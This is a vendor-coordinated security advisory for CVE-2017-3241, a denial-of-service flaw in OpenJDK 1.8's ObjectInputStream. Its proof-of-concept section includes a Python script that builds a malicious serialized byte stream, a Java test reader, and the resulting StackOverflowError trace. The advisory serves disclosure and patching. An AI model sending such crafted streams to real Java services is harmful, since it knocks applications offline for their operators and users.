Application: Java SE Vendor: Oracle Bug: DoS Reported: 23.12.2016 Vendor response: 24.12.2016 Date of Public Advisory: 17.01.2017 Reference: Oracle CPU Jan 2017 Author: Roman Shalymov 1. ADVISORY INFORMATION Title: Oracle OpenJDK - Java Serialization DoS Advisory ID: [ERPSCAN-17-006] Risk: High Advisory URL: https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/ Date published: 17.01.2017 Vendor contacted: Oracle 2. VULNERABILITY INFORMATION Class: Denial of Service Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2017-3241 CVSS Base Score: 9.0 3. VULNERABILITY DESCRIPTION An attacker can cause DoS of the application which uses OpenJDK Runtime Environment 1.8 as its core runtime engine. 4. VULNERABLE PACKAGES OpenJDK Runtime Environment build 1.8.0_112-b15 5. SOLUTIONS AND WORKAROUNDS Fix ObjectInputStream.skipCustomData() method, namely readObject0(false); call in switch statement Adress Oracle CPU January 2017 6. AUTHOR Roman Shalymov (@shalymov) 7. TECHNICAL DESCRIPTION An attacker can craft a malicious sequence of bytes that will cause JVM StackOverflowError in the standard Java deserialization process if it uses ObjectInputStream.readObject() method. 7.1. Proof of Concept An attacker creates a malicious sequence of bytes, for example, using this python script pwn_ser.py: #!/usr/bin/env python2 import sys exp = "" #serialization header exp += '\xac\xed\x00\x05' exp1 = '' exp1 += '\x72' exp1 += '\x00\x0c'+'java.io.File' exp1 += '\x41'*8 exp1 += '\x00' exp1 += '\x00\x00' exp += exp1 * 10000 sys.stdout.write(exp) and save it in exp2.ser file $ ./pwn_ser2.py > exp2.ser Let's simulate deserialization process. For this purpose, we create a simple Java program, which uses the following standard deserialization pattern: Serialize_read.java import java.io.FileInputStream; import java.io.ObjectInputStream; public class Serialize_read { public static void main(String args[]) throws Exception { if(args.length < 1) { System.out.println("usage: "+Serialize_read.class.getSimpleName()+" [file]"); System.exit(-1); } FileInputStream fin = new FileInputStream(args[0]); ObjectInputStream oin = new ObjectInputStream(fin); try { Object objFromDisk = oin.readObject(); String s = (String)objFromDisk; System.out.println(s); System.out.println("Successfully read!"); }catch(Exception e){} System.exit(0); } } Let's try to read our malicious file (we can also simulate this stuff over network communication): $ javac Serialize_read.java $ java Serialize_read exp2.ser It causes the following error dump: Exception in thread "main" java.lang.StackOverflowError at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351) at java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834) at java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892) at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075) at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684) at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) ... at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) 8. REPORT TIMELINE Reported: 23.12.2016 Vendor response: 24.12.2016 Date of Public Advisory: 17.01.2017 9. REFERENCES http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/ 10. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies. ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches. ERPScan experts were interviewed in specialized info-sec resources and featured in major media worldwide. Among them there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc. Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP Solution providers” and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScan’s primary mission is to close the gap between technical and business security, and provide solutions for CISO's to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale. We ‘follow the sun’ and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe. Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301 Phone: 650.798.5255 Twitter: @erpscan Scoop-it: Business Application Security
